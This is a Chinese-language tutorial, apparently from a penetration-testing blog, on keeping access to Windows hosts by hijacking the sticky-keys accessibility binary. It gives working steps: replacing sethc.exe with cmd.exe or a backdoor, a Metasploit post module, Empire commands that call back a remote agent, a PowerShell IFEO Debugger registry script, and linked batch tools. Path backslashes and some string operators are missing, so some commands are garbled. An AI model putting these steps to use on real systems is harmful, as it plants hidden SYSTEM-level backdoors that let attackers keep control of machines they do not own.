文章前言
辅助功能提供了其他选项(屏幕键盘、放大镜、屏幕阅读等)可以帮助残疾人更轻松地使用Windows操作系统,但是此功能可能会被滥用于在已启用RDP且已获得管理员级别权限的主机上实现持久性,此技术涉及磁盘或者需要修改注册表才能执行存储的远程负载
基本介绍
目前在window Vista以上的操作系统中修改sethc会提示需要trustedinstaller权限,trustedinstaller是一个安全机制,即系统的最高权限,权限比administrator管理员高,windows权限分为三种从低到高依次是user,administrator,system,而trustedinstaller比 administrator高但没有system高,这么做的好处是避免了一些恶意软件修改系统文件的可能,坏处就是自己不能直接操作了:
所以在这里要先修改sethc权限,将其所有者改为改为我们当前管理员用户,sethc右键属性—>安全—>高级—>更改权限处,切换到所有者选项卡,更改所有者,具体如下图所示:
在该所有者之前,直接编辑其权限都是灰色的,不能修改,有了所有权之后,便可以编辑其权限,这里需要给予自己权限,如下图:
之后在window下执行以下命令:
代码语言:javascript复制cd c:windowssystem32
move sethc.exe sethc.exe.bak //备份sethc.exe
copy cmd.exe sethc.exe //复制cmd.exe重命名为sethc.exe,也可以使用恶意后门文件来替代sethc.exe
之后连续按下5次"Shift"键,之后将弹出命令执行窗口,可以直接以System权限执行系统命令、创建管理员用户、登录服务等
同时,当我们在权限维持时,如果留下了粘滞键后门,当用户修改密码后,我们在远程连接时可能会出现无法登录的情况,这时候上面这种后门进行权限维持就比较有用了:
第一种:创建cmd.exe粘滞键,之后在登录界面按下5次shift调用cmd来添加用户,之后再次登录:
第二种:使用后门文件shell.exe来替换sethc.exe文件,之后远程时直接五次shift上线即可~
Metasploit
Metasploit框架提供了一个后渗透测试利用模块,该模块可用于自动化粘性键的持久性技术,该模块将用CMD替换所选的辅助功能二进制文件(sethc,osk,disp,utilman)。
代码语言:javascript复制use post/windows/manage/sticky_keys
set SESSION 8
exploit
之后在目标主机中连续五次shift即可执行SYSTEM权限的命令行,这在RDP远程登录用户密码已被修改的情况下很有用~
Empire框架
Empire中提供了粘滞键权限维持的模块,在使用时可以通过shift粘滞键来触发远程代理后门到empire中
代码语言:javascript复制(Empire: ECY9D6XK) > usemodule lateral_movement/invoke_wmi_debugger
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > info
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set Listener SimpleTest
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set TargetBinary sethc.exe
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > set ComputerName WIN7-Test
(Empire: powershell/lateral_movement/invoke_wmi_debugger) > execute
#注意这里可以将sethc.exe替换为Utilman.exe(快捷键为: Win U)或者osk.exe(屏幕上的键盘Win U启动再选择)
Narrator.exe (启动讲述人Win U启动再选择) Magnify.exe(放大镜Win U启动再选择)
之后在目标主机上按5次shift即可触发后门代理(中间会有一个弹窗迅速闪过,用于执行命令,笔者也未捕获到)
之后在empire中成功反弹后门代理:
Powershell
粘性键持久性技术是众所周知的,一些攻击者者在网络攻击期间也常常使用它,除了上述的Metasploit和Empire之外,我们还可以使用脚本来自动执行此方法,Preston Thornburg编写了以下PowerShell脚本,该脚本可以通过修改注册表来实现持久性
代码语言:javascript复制$registryPath = "HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options"
$keyName = "sethc.exe"
$stringName = "Debugger"
$binaryValue = "C:WindowsSystem32cmd.exe"
IF (Test-Path ($registryPath $keyName))
{
# Sticky Keys backdoor exists.
write-host "Registry key found. Let's remove it."
#New-Item -Path $registryPath -Name $keyName | Out-Null
Remove-Item -Path ($registryPath $keyName) | Out-Null
write-host "Sticky Key backdoor has been removed."
}
ELSE
{
# Sticky Keys backdoor does not exist, let's add it.
write-host "Registry key not found. Attempting to add Sticky Keys backdoor to registry."
New-Item -Path $registryPath -Name $keyName | Out-Null
New-ItemProperty -Path ($registryPath $keyName) -Name $stringName -Value $binaryValue | Out-Null
write-host "Sticky Keys backdoor added."
}
之后执行五次"shift"按键,可以成功弹出命令行界面:
批处理文件1
我们也可以通过批处理文件logon_backdoor(https://github.com/szymon1118/logon_backdoor )来实现,上传backdoor.bat文件到目标主机,之后运行批处理文件,根据提示添加粘滞键后门:
选项1将修改“ Debugger ”键,以包括命令提示符的路径:
代码语言:javascript复制HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe
之后五次shift,成功执行cmd:
批处理文件2
与批处理文件1方式类似,Sticky-Keys项目(https://github.com/HanKooR/Sticky-Keys )提供了一个额外的选项,把系统控制台给用户,该工具的使用较为简单,下载批处理文件之后下目标主机执行即可
虽然执行时可能会有一些小错误,但是执行结果没有任何问题,我们可以按下5次shift来调用命令行: